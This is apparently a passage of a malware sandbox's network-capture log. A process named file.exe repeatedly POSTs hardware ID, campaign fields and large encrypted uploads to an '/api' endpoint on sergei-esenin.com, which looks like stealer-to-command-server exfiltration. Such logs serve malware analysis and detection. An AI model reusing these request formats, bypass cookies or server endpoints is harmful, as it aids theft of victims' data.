2024-10-21 08:46:05 UTC	1369	IN	Data Raw: 31 30 32 66 0d 0a 59 43 4a 45 33 42 43 52 39 43 39 71 76 52 6b 70 59 42 78 6c 44 6e 74 6f 6b 43 4e 54 66 72 31 6c 42 6b 44 6d 77 47 6b 37 33 65 67 75 4f 43 65 45 58 5a 4f 33 63 69 33 45 4a 44 56 31 44 6d 45 57 66 69 2f 75 55 78 42 6e 38 44 49 30 41 5a 43 2b 65 48 69 63 38 32 41 69 56 71 64 54 6a 62 70 77 50 4f 74 58 47 47 51 58 61 52 4e 35 62 2b 42 64 56 69 6a 6f 4f 6b 4d 42 33 4f 38 48 62 6f 79 35 65 79 39 46 78 51 44 52 71 7a 6b 7a 75 67 78 37 4b 6b 67 6f 57 47 70 76 39 6c 30 58 5a 72 31 72 44 6b 2f 62 37 46 55 77 33 2f 30 6a 50 53 69 73 63 59 36 2f 65 79 66 31 45 51 56 4d 4f 32 73 54 64 43 4b 68 46 6d 35 57 70 57 6b 44 54 39 2f 6f 56 6e 61 53 71 79 38 36 54 71 73 51 79 2f 52 49 5a 4c 6f 43 65 79 70 61 55 78 74 32 49 61 6b 4c 51 53 57 52 5a 77 5a 4e 31 Data Ascii: 102fYCJE3BCR9C9qvRkpYBxlDntokCNTfr1lBkDmwGk73eguOCeEXZO3ci3EJDV1DmEWfi/uUxBn8DI0AZC+eHic82AiVqdTjbpwPOtXGGQXaRN5b+BdVijoOkMB3O8Hboy5ey9FxQDRqzkzugx7KkgoWGpv9l0XZr1rDk/b7FUw3/0jPSiscY6/eyf1EQVMO2sTdCKhFm5WpWkDT9/oVnaSqy86TqsQy/RIZLoCeypaUxt2IakLQSWRZwZN1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49733	172.67.206.204	443	7428	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-21 08:46:05 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=YHKU3vwhZF6L5XAIpMCAu_nY3bvyqqm2KIHGMppBQ_M-1729500361-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18168 Host: sergei-esenin.com
2024-10-21 08:46:05 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 31 39 37 31 41 31 43 44 36 32 45 31 42 38 44 34 43 31 36 36 46 31 34 36 43 32 31 35 41 37 37 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"D1971A1CD62E1B8D4C166F146C215A77--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-21 08:46:05 UTC	2837	OUT	Data Raw: bb b9 8c 98 dd 7e cd 12 32 f5 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 Data Ascii: ~2MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3
2024-10-21 08:46:09 UTC	1022	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 08:46:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=bsmbn8jpqsi2ia9lceetk0t8ie; expires=Fri, 14 Feb 2025 02:32:45 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7zs3iUYF%2BV94UFAyS7qowG4oOyN1TmKshe866enjqQU5TTYR%2F5sHhplmTfl0gREja6RnrQBR3WU%2FFZJ8%2FBS68NPPcj1UOhp6IdKEtjeV2NBkGmRNshhMT713KYejbT8sNAE37A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d5ff9a7cc864602-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1832&sent=12&recv=25&lost=0&retrans=0&sent_bytes=2844&recv_bytes=19220&delivery_rate=1564559&cwnd=251&unsent_bytes=0&cid=0d2b86df6a8c39e7&ts=3822&x=0"
2024-10-21 08:46:09 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 0d 0a Data Ascii: 11ok 155.94.241.186
2024-10-21 08:46:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49734	172.67.206.204	443	7428	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-21 08:46:10 UTC	371	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=YHKU3vwhZF6L5XAIpMCAu_nY3bvyqqm2KIHGMppBQ_M-1729500361-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8789 Host: sergei-esenin.com
2024-10-21 08:46:10 UTC	8789	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 31 39 37 31 41 31 43 44 36 32 45 31 42 38 44 34 43 31 36 36 46 31 34 36 43 32 31 35 41 37 37 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"D1971A1CD62E1B8D4C166F146C215A77--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-21 08:46:11 UTC	1015	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 08:46:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=phs7kekd146o373mh4d2haoppq; expires=Fri, 14 Feb 2025 02:32:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oZfbaOV8ViMe6PRfXnh%2FaWeeQlxPd4sSza4z4GMoTK3MhFyep0HttukuLfJfmvmhhclrVQvZXwgajGOlAZiOt3xwYnZgPzES3kCMRpo4d%2FOHX41Oi6WbnLi1cQq8YgTp4H2zaA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d5ff9c479ec6c70-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1728&sent=7&recv=13&lost=0&retrans=0&sent_bytes=2846&recv_bytes=9818&delivery_rate=1696543&cwnd=251&unsent_bytes=0&cid=7d046619fff84cdc&ts=565&x=0"
2024-10-21 08:46:11 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 0d 0a Data Ascii: 11ok 155.94.241.186
2024-10-21 08:46:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49735	172.67.206.204	443	7428	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-21 08:46:12 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=YHKU3vwhZF6L5XAIpMCAu_nY3bvyqqm2KIHGMppBQ_M-1729500361-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20442 Host: sergei-esenin.com
2024-10-21 08:46:12 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 31 39 37 31 41 31 43 44 36 32 45 31 42 38 44 34 43 31 36 36 46 31 34 36 43 32 31 35 41 37 37 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"D1971A1CD62E1B8D4C166F146C215A77--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-21 08:46:12 UTC	5111	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 Data Ascii: `M?lrQMn 64F6(X&7~`
2024-10-21 08:46:13 UTC	1022	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 08:46:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=lv7es5pfu91v3t1dvtdqocrt36; expires=Fri, 14 Feb 2025 02:32:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pXtTZ1b53I3dBjbnvKFNMlp5F4nryd%2BCjUDkY3CxcvjWjqVB9ZuUL%2Fh1FeyOUthzTt46egv9bYErpZ5wTDK6PG5NjpbgE%2BMZ9N%2F3MZMWw5ir6yAhTplvxwASFUCkrryXWeUt1Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d5ff9cdd949e863-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1568&sent=12&recv=27&lost=0&retrans=0&sent_bytes=2844&recv_bytes=21494&delivery_rate=1859987&cwnd=249&unsent_bytes=0&cid=d6cb4583418063a4&ts=1069&x=0"
2024-10-21 08:46:13 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 0d 0a Data Ascii: 11ok 155.94.241.186
2024-10-21 08:46:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49737	172.67.206.204	443	7428	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-21 08:46:14 UTC	371	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=YHKU3vwhZF6L5XAIpMCAu_nY3bvyqqm2KIHGMppBQ_M-1729500361-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1268 Host: sergei-esenin.com
2024-10-21 08:46:14 UTC	1268	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 31 39 37 31 41 31 43 44 36 32 45 31 42 38 44 34 43 31 36 36 46 31 34 36 43 32 31 35 41 37 37 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"D1971A1CD62E1B8D4C166F146C215A77--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-21 08:46:15 UTC	1022	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 08:46:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=nujaeqa6e5emrjbrehtli68roo; expires=Fri, 14 Feb 2025 02:32:54 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KPyfAm85nGVSOb1DK0qP9PcVGU6%2B9KyiNrV2ICDD%2BN%2F0%2B8OfrDP5xRveKPPxFywskYoi9U4CfcfJR%2BWgIpcVnlUMOQMagV9v9EAyZCLlYcwmswvWgdhJcjBSvwFD2dN%2BIsZVWA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d5ff9df4c1b6be6-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2314&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2275&delivery_rate=1218342&cwnd=251&unsent_bytes=0&cid=7c14cbd8ae0b9345&ts=366&x=0"
2024-10-21 08:46:15 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 0d 0a Data Ascii: 11ok 155.94.241.186
2024-10-21 08:46:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49741	172.67.206.204	443	7428	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-21 08:46:16 UTC	373	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=YHKU3vwhZF6L5XAIpMCAu_nY3bvyqqm2KIHGMppBQ_M-1729500361-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 569536 Host: sergei-esenin.com
2024-10-21 08:46:16 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 31 39 37 31 41 31 43 44 36 32 45 31 42 38 44 34 43 31 36 36 46 31 34 36 43 32 31 35 41 37 37 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"D1971A1CD62E1B8D4C166F146C215A77--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-21 08:46:16 UTC	15331	OUT	Data Raw: 20 32 c7 66 2d fc e8 14 eb bb c7 31 ca 4c c2 c0 93 38 25 20 e5 cd 7f ff a9 45 c8 07 f0 bb 2a 56 98 4a ac 94 66 2c 01 24 3d 09 0b a6 3c 0e 7b 05 d8 66 0a e0 77 e1 b5 be c3 38 24 a3 b7 15 5e 63 0c 9d 97 a4 e1 77 93 5d 44 c0 19 75 2c 8c e3 62 d7 ac d1 a1 8a db 57 f7 73 dd b6 83 d4 20 c7 ff b7 4a 49 f3 01 ba fd ae e0 0e 1a d4 93 c9 3d 41 c0 6b 0b 07 0b d0 14 9c d3 c2 c2 4b cc d8 3d 69 a5 02 10 ef cf 05 a3 d4 63 0c de 82 a1 6d 9b 25 c4 38 24 d5 2b 0c 2e 25 a6 39 b8 e1 40 83 3c 2f c0 18 1d b3 3d c3 a1 04 92 53 81 a9 db f9 45 9a 34 bf cd cf c9 61 0f bf 18 31 45 3b a5 bc 1c b9 50 f4 88 71 fc ab c5 29 15 de b4 56 1c b5 c2 54 56 63 08 96 e9 29 42 6c 00 ef 47 51 31 a6 e0 02 86 45 49 d9 6a f0 77 91 e7 d4 3a 12 b9 a4 15 f9 2a fe 31 e3 f1 55 3b 09 2a 99 91 8e 85 25 96 Data Ascii: 2f-1L8% EVJf,$=<{fw8$^cw]Du,bWs JI=AkK=icm%8$+.%9@</=SE4a1E;Pq)VTVc)BlGQ1EIjw:1U;*%
2024-10-21 08:46:16 UTC	15331	OUT	Data Raw: a7 d1 dc 2b 09 bf 6f 89 67 32 ab 7e b9 2a e8 9f 16 2a 12 5e 2c 8c 68 56 d3 89 28 aa 44 48 de b2 32 92 c6 3e 8e b4 31 73 7a 35 9d d1 fe 6b 0d 9a 43 58 de 28 28 85 7d 51 6f 95 db 24 e0 c8 4d 85 b1 fc 89 88 16 8a 44 b0 97 04 ed d4 03 5c c7 0b 04 15 29 33 0c f6 4a 45 96 98 ae 65 3e 1a 36 15 a3 55 c6 a7 9f 55 ae 4b 86 08 10 f7 74 bf cb 6f a2 9b 4c c1 42 31 5a aa 0f f1 72 85 2f 34 66 3f 14 8a 8c ed 9e 34 04 3e 48 f4 9b 3a a5 08 c4 04 95 5c 53 8a d1 41 f7 0c 86 0b cd 7e 31 9a 1e ec 58 a7 97 58 ec ef 3c cf 94 44 87 0b f2 f6 d5 d3 ff 52 75 fd 1e 47 61 18 94 71 e6 e6 8c fc 56 df 1c b3 e4 0c 48 23 fc ce 57 e4 e6 ba 19 44 b8 d6 8e 50 ad ef 0f 90 f7 74 5d 8f a0 5c 39 c3 75 79 83 87 46 5f cd 4f 7d 17 bb 5c f9 57 d0 cf 16 8d cd 78 6f 17 c8 47 13 ce 3c 41 c6 dc c1 dc 7d Data Ascii: +og2~**^,hV(DH2>1sz5kCX((}Qo$MD\)3JEe>6UUKtoLB1Zr/4f?4>H:\SA~1XX<DRuGaqVH#WDPt]\9uyF_O}\WxoG<A}
2024-10-21 08:46:16 UTC	15331	OUT	Data Raw: a3 c1 11 de 39 ca 74 de 55 9e 42 df 8b 3d 86 a1 96 5e dd 5b 34 51 75 68 a4 b8 41 fb e4 20 42 dc dd 3b 40 f5 85 2e a7 df 5b 86 14 7d f5 db 93 12 db a5 af f6 d4 8b 4b cf ae 86 01 db 18 d4 1c db ac 35 af 04 60 a8 bf ef 7e 3c f2 8a e9 d2 17 9c 81 3a d0 32 df bc ef d1 3a e1 6a b8 52 6a 8a b7 75 30 ca 7f 77 6d ea 2f 82 6e 8a a0 f8 8b d8 01 5f 70 c6 e6 bf a2 c9 d1 eb 1d 75 46 39 4b 13 cd 56 db 4b 45 1f 9d 78 c9 d1 f2 bb 4b 6a 3e 71 cd 76 ce 87 5f 2f bc f7 df cb 90 1d 16 bc 43 71 fb 80 ee 45 7e 7e c8 91 7e 40 f8 af 96 92 ba b9 c9 b9 48 75 0d 5d b2 fb 78 a3 37 6a 49 e4 26 da e3 9e 6b 92 50 52 83 9e a0 99 0b 18 6b 53 63 2a 75 7b 0b 82 6b 4b b0 f3 28 75 f3 b8 0c 9d 30 b8 e5 77 e7 e4 e7 6e 1c b3 a7 fd 68 49 da c2 23 ca de ee f6 8f 73 a9 95 3f 38 06 71 16 14 d9 ab cd Data Ascii: 9tUB=^[4QuhA B;@.[}K5`~<:2:jRju0wm/n_puF9KVKExKj>qv_/CqE~~~@Hu]x7jI&kPRkSc*u{kK(u0wnhI#s?8q
2024-10-21 08:46:16 UTC	15331	OUT	Data Raw: 3e bc 77 d9 0c 98 1e c6 9b 11 c4 77 bb 02 42 cb 1a b7 94 19 d2 0f 89 d3 8b 99 bc 09 9b ea fb 73 71 70 f3 a0 8e 70 97 af d6 69 8e 8f 94 d1 78 9b 83 57 39 39 67 c1 6b 68 e4 85 ea 52 6d 72 55 59 12 3a f6 80 ea 88 05 c7 26 78 bf b3 8b bc d8 ee 9d 3d ad 4c b7 87 dc 66 cd ca bc 27 7f 8f 95 64 c0 ab 02 37 ab 33 5c 73 21 de 32 a2 17 61 30 c7 05 7f 98 31 b8 b9 17 21 04 8c 26 72 a1 3a 22 d0 7b 7d 86 8f 38 38 ae 66 b3 03 79 1e 4a 6f 88 fa 5f 99 b4 45 06 05 dc f6 9a 74 2a ba 8f 04 1f ee 65 36 f1 80 21 8a e3 a8 b5 aa 0b 46 78 e7 dd fb 4f 87 df 6b 9b fa 6b 49 3a dc 3f 22 69 73 4f e5 bd b2 39 29 dd 0f fd f7 01 ad 69 e1 64 c2 0a c4 f0 4f a4 f2 fd ff 5f c9 0d 49 50 3a c6 03 e7 81 c5 3f 03 97 64 16 df 08 31 aa ca 29 29 2d c8 62 f8 f3 62 c9 a3 22 1e 0e c2 79 aa fd 13 67 47 Data Ascii: >wwBsqppixW99gkhRmrUY:&x=Lf'd73\s!2a01!&r:"{}88fyJo_Et*e6!FxOkkI:?"isO9)idO_IP:?d1))-bb"ygG
2024-10-21 08:46:16 UTC	15331	OUT	Data Raw: 73 85 ac 84 a1 40 90 19 72 4a b1 d1 d2 33 3b 52 b6 14 a0 7b 7b 78 4d 7b c9 f6 56 62 85 70 83 20 a5 c9 8d ef e5 c4 d9 ce c9 a5 b5 21 1b b7 8a f9 75 66 11 72 4e 75 12 c2 4d e5 c8 0a 8b c6 cf cb 35 d8 6a f9 42 17 7b 42 81 dc b3 a8 42 52 a3 81 81 af c0 8f 83 2d 81 54 75 e5 56 6f ed da 04 28 de 7b db e7 59 9a 16 32 b0 60 fb d5 8e 5a 11 6b 19 46 00 62 57 ad 33 4a 39 5c 9f 63 db c5 31 a5 5f 08 03 82 6e 8c dd e3 eb b9 7f e4 ee d6 a4 53 bd 62 77 91 b3 47 5b b2 50 89 4a b4 a1 98 fd 78 df e5 8f 46 36 df f4 3d 0b 04 0d 35 9a c2 b6 f8 c2 4e b7 f1 15 e7 1b ce 3a c6 f6 56 6c 3f f8 11 64 f8 43 e8 9c b3 ec af ba c4 67 d0 ef 12 6c 6e 65 22 86 00 1e 0c 15 d0 5b db 06 e5 6d b9 3f 5c 21 e1 6c 44 ef 20 6e fd 16 bd e0 a8 ce e1 2d 7d dc 21 8e 3f 6a 62 eb 28 bd c8 cc 80 64 58 25 Data Ascii: s@rJ3;R{{xM{Vbp !ufrNuM5jB{BBR-TuVo({Y2`ZkFbW3J9\c1_nSbwG[PJxF6=5N:Vl?dCglne"[m?\!lD n-}!?jb(dX%
